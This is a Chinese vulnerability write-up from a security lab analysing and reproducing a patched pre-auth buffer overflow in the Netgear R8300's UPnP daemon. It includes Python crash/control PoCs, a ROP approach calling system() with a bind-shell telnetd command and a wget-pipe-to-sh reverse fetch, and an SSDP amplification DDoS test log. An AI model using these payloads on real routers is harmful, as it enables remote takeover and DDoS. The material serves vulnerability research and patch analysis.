Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现
作者:fenix@知道创宇404实验室
时间:2020年8月25日
1.前言
R8300 是 Netgear 旗下的一款三频无线路由,主要在北美发售,官方售价 $229.99。
2020 年 7 月 31 日,Netgear 官方发布安全公告,在更新版固件 1.0.2.134 中修复了 R8300 的一个未授权 RCE 漏洞【1】。2020 年 8 月 18 日,SSD Secure Disclosure 上公开了该漏洞的细节及 EXP【2】。
该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。
回顾了下整个复现流程还是很有趣的,特此记录。
2.环境搭建
下面先搭建漏洞调试环境。在有设备的情况下,有多种直接获取系统 shell 的方式,如:
- 硬件调试接口,如:UART
- 历史 RCE 漏洞,如:NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞【3】
- 设备自身的后门,Unlocking the Netgear Telnet Console【4】
- 破解固件检验算法,开启 telnet 或植入反连程序。
不幸的是,没有设备...
理论上,只要 CPU 指令集对的上,就可以跑起来,所以我们还可以利用手头的树莓派、路由器摄像头的开发板等来运行。最后一个就是基于 QEMU 的指令翻译,可以在现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。
下载固件
Netgear 还是很良心的,在官网提供了历史固件下载。
下载地址:【5】
下载的固件 md5sum 如下:
1 2 |
c3eb8f8c004d466796a05b4c60503162 R8300-V1.0.2.130_1.0.99.zip - 漏洞版本 abce2193f5f24f743c738d24d36d7717 R8300-V1.0.2.134_1.0.99.zip - 补丁版本 |
binwalk 可以正确识别。
1 2 3 4 5 6 7 |
? binwalk R8300-V1.0.2.130_1.0.99.chk DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0 86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes 2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38 |
使用 binwalk -Me
提取出 Squashfs 文件系统,漏洞程序是 ARMv5
架构,动态链接,且去除了符号表。
1 2 3 4 5 6 |
? squashfs-root ls bin dev etc lib media mnt opt proc sbin share sys tmp usr var www ? squashfs-root find . -name upnpd ./usr/sbin/upnpd ? squashfs-root file ./usr/sbin/upnpd ./usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped |
QEMU 模拟
在基于 QEMU 的固件模拟这块,网上也有一些开源的平台,如比较出名的 firmadyne【6】、ARM-X【7】。不过相比于使用这种集成环境,我更倾向于自己动手,精简但够用。
相应的技巧在之前的文章 《Vivotek 摄像头远程栈溢出漏洞分析及利用》【8】也有提及,步骤大同小异。
在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:
1 2 3 |
sudo tunctl -t tap0 -u `whoami` sudo ifconfig tap0 192.168.2.1/24 qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic |
用户名和密码都是 root,为虚拟机分配 IP:
1 |
ifconfig eth0 192.168.2.2/24 |
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
root@debian-armhf:~# ls squashfs-root root@debian-armhf:~# ifconfig eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:192.168.2.2 Bcast:192.168.2.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:96350 errors:0 dropped:0 overruns:0 frame:0 TX packets:98424 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:7945287 (7.5 MiB) TX bytes:18841978 (17.9 MiB) Interrupt:47 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:55 errors:0 dropped:0 overruns:0 frame:0 TX packets:55 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:304544 (297.4 KiB) TX bytes:304544 (297.4 KiB) root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev root@debian-armhf:~# chroot ./squashfs-root/ sh BusyBox v1.7.2 (2018-12-13 12:34:27 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # id uid=0 gid=0(root) # |
修复运行依赖
直接运行没有任何报错就退出了,服务也没启动。
经过调试发现是打开文件失败。
手动创建 /tmp/var/run
目录,再次运行提示缺少 /dev/nvram
。
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 LD_PRELOAD
劫持以下函数符号。
网上找到一个现成的实现:【9】,交叉编译:
1 |
? armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so |
还是报错,找不到 dlsym
的符号。之所以会用到 dlsym
,是因为该库的实现者还同时 hook 了 system
、fopen
、open
等函数,这对于修复文件缺失依赖,查找命令注入漏洞大有裨益。
/lib/libdl.so.0
导出了该符号。
1 2 3 4 5 6 7 8 9 10 11 12 |
? grep -r "dlsym" . Binary file ./lib/libcrypto.so.1.0.0 matches Binary file ./lib/libdl.so.0 matches Binary file ./lib/libhcrypto-samba4.so.5 matches Binary file ./lib/libkrb5-samba4.so.26 matches Binary file ./lib/libldb.so.1 matches Binary file ./lib/libsamba-modules-samba4.so matches Binary file ./lib/libsqlite3.so.0 matches grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory ? readelf -a ./lib/libdl.so.0 | grep dlsym 26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym |
可以跑起来了,不过由于缺少配置信息,还是会异常退出。接下来要做的就是根据上面的日志补全配置信息,其实特别希望能有一台 R8300,导出里面的 nvram 配置...
简单举个例子,upnpd_debug_level
是控制日志级别的,sub_B813()
是输出日志的函数,只要 upnpd_debug_level > sub_B813() 的第一个参数
,就可以在终端输出日志。
下面分享一份 nvram 配置,至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
upnpd_debug_level=9 lan_ipaddr=192.168.2.2 hwver=R8500 friendly_name=R8300 upnp_enable=1 upnp_turn_on=1 upnp_advert_period=30 upnp_advert_ttl=4 upnp_portmap_entry=1 upnp_duration=3600 upnp_DHCPServerConfigurable=1 wps_is_upnp=0 upnp_sa_uuid=00000000000000000000 lan_hwaddr=AA:BB:CC:DD:EE:FF |
upnpd 服务成功运行!
3.漏洞分析
该漏洞的原理很简单,使用 strcpy()
拷贝导致的缓冲区溢出,来看看调用流程。
在 sub_1D020()
中使用 recvfrom()
从套接字接受最大长度 0x1fff
的 UDP 报文数据。
在 sub_25E04()
中调用 strcpy()
将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc
的 buffer。
4.利用分析
通过 checksec
可知程序本身只开了 NX 保护,从原漏洞详情得知 R8300 上开了 ASLR。
很容易构造出可控 PC 的 payload,唯一需要注意的是栈上有个 v39 的指针 v41,覆盖的时候将其指向有效地址即可正常返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
#!/usr/bin/python3 import socket import struct p32 = lambda x: struct.pack("<L", x) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = ( 0x604 * b'a' + # dummy p32(0x7e2da53c) + # v41 (0x634 - 0x604 - 8) * b'a' + # dummy p32(0x43434343) # LR ) s.connect(('192.168.2.2', 1900)) s.send(payload) s.close() |
显然,R4 - R11
也是可控的,思考一下目前的情况:
- 开了 NX 不能用
shellcode
。 - 有 ASLR,不能泄漏地址,不能使用各种 LIB 库中的符号和
gadget
。 strcpy()
函数导致的溢出,payload 中不能包含\x00
字符。
其实可控 PC 后已经可以干很多事了,upnpd
内包含大量 system
函数调用,比如 reboot
。
下面探讨下更为 general 的 RCE 利用,一般像这种 ROP 的 payload 中包含 \x00
,覆盖返回地址的payload 又不能包含 \x00
,就要想办法提前将 ROP payload 注入目标内存。
比如,利用内存未初始化问题,构造如下 PoC,每个 payload 前添加 \x00
防止程序崩溃。
1 2 3 4 5 |
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('192.168.2.2', 1900)) s.send(b'\x00' + b'A' * 0x1ff0) s.send(b'\x00' + b'B' * 0x633) s.close() |
在漏洞点下断点,
两次拷贝完成后,看下内存布局:
可以看到,由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
借用原作者的一张图,利用原理如下:
关于 ROP,使用 strcpy
调用在 bss 上拼接出命令字符串,并调整 R0 指向这段内存,然后跳转 system
执行即可。
原作者构造的 system("telnetd -l /bin/sh -p 9999& ")
绑定型 shell。
经过分析,我发现可以构造 system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh")
调用,从而无限制任意命令执行。
构造的关键在于下面这张表。
发送 payload,通过 hook 的日志可以看到,ROP 利用链按照预期工作,可以无限制远程命令执行。 (由于模拟环境的问题,wget 命令运行段错误了...)
5.补丁分析
在更新版固件 V1.0.2.134
中,用 strncpy()
代替 strcpy()
,限制了拷贝长度为 0x5db
,正好是 buffer 长度减 1。
补丁中还特意用 memset()
初始化了 buffer。这是由于 strncpy()
在拷贝时,如果 n < src 的长度,只是将 src 的前 n 个字符复制到 dest 的前 n 个字符,不会自动添加 \x00
,也就是结果 dest 不包括 \x00
,需要再手动添加一个 \x00
;如果 src 的长度小于 n 个字节,则以\x00
填充 dest 直到复制完 n 个字节。
结合上面的 RCE 利用过程,可见申请内存之后及时初始化是个很好的编码习惯,也能一定程度上避免很多安全问题。
6.影响范围
通过 ZoomEye 网络空间搜索引擎对关键字 "SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0"
进行搜索,共发现 18889 条 Netgear UPnP 服务的 IP 历史记录,主要分布在美国【10】。其中是 R8300 这个型号的会受到该漏洞影响。
7.其他
说句题外话,由于协议设计缺陷,历史上 UPnP 也被多次曝出漏洞,比如经典的 SSDP 反射放大用来 DDoS 的问题。
在我们的模拟环境中进行测试,发送 132 bytes 的 ST: ssdp:all M-SEARCH
查询请求 ,服务器响应了 4063 bytes 的数据,放大倍率高达 30.8。
因此,建议网络管理员禁止 SSDP UDP 1900 端口的入站请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 |
? pocsuite -r upnp_ssdp_ddos_poc.py -u 192.168.2.2 -v 2 ,------. ,--. ,--. ,----. {1.5.9-nongit-20200408} | .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. | | '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' < | | --'' '-' \ `--.-' `' '' | | | | \ --/'-' | `--' `---' `---`----' `----'`--' `--' `----`----' http://pocsuite.org [*] starting at 11:05:18 [11:05:18] [INFO] loading PoC script 'upnp_ssdp_ddos_poc.py' [11:05:18] [INFO] pocsusite got a total of 1 tasks [11:05:18] [DEBUG] pocsuite will open 1 threads [11:05:18] [INFO] running poc:'upnp ssdp ddos' target '192.168.2.2' [11:05:28] [DEBUG] timed out [11:05:28] [DEBUG] HTTP/1.1 200 OK ST: upnp:rootdevice LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdevice HTTP/1.1 200 OK ST: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1 HTTP/1.1 200 OK ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:InternetGatewayDevice:1 HTTP/1.1 200 OK ST: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1 HTTP/1.1 200 OK ST: urn:schemas-upnp-org:device:WANDevice:1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANDevice:1 HTTP/1.1 200 OK ST: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1 HTTP/1.1 200 OK ST: urn:schemas-upnp-org:device:WANConnectionDevice:1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANConnectionDevice:1 HTTP/1.1 200 OK ST: urn:schemas-upnp-org:service:Layer3Forwarding:1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:Layer3Forwarding:1 HTTP/1.1 200 OK ST: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1 HTTP/1.1 200 OK ST: urn:schemas-upnp-org:service:WANEthernetLinkConfig:1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANEthernetLinkConfig:1 HTTP/1.1 200 OK ST: urn:schemas-upnp-org:service:WANIPConnection:1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANIPConnection:1 HTTP/1.1 200 OK ST: urn:schemas-upnp-org:service:WANPPPConnection:1 LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xml SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0 EXT: CACHE-CONTROL: max-age=3600 USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANPPPConnection:1 [11:05:28] [+] URL : http://192.168.2.2 [11:05:28] [+] Info : Send: 132 bytes, receive: 4063 bytes, amplification: 30.78030303030303 [11:05:28] [INFO] Scan completed,ready to print +-------------+----------------+--------+-----------+---------+---------+ | target-url | poc-name | poc-id | component | version | status | +-------------+----------------+--------+-----------+---------+---------+ | 192.168.2.2 | upnp ssdp ddos | | | | success | +-------------+----------------+--------+-----------+---------+---------+ success : 1 / 1 [*] shutting down at 11:05:28 |
8.相关链接
【1】: Netgear 官方安全公告
【2】: 漏洞详情
https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
【3】: NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞
https://www.seebug.org/vuldb/ssvid-98253
【4】: Unlocking the Netgear Telnet Console
【5】: 固件下载
https://www.netgear.com/support/product/R8300.aspx#download
【6】: firmadyne
https://github.com/firmadyne/firmadyne
【7】: ARM-X
https://github.com/therealsaumil/armx
【8】: Vivotek 摄像头远程栈溢出漏洞分析及利用
【9】: nvram hook 库
https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
【10】: ZoomEye 搜索
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1311/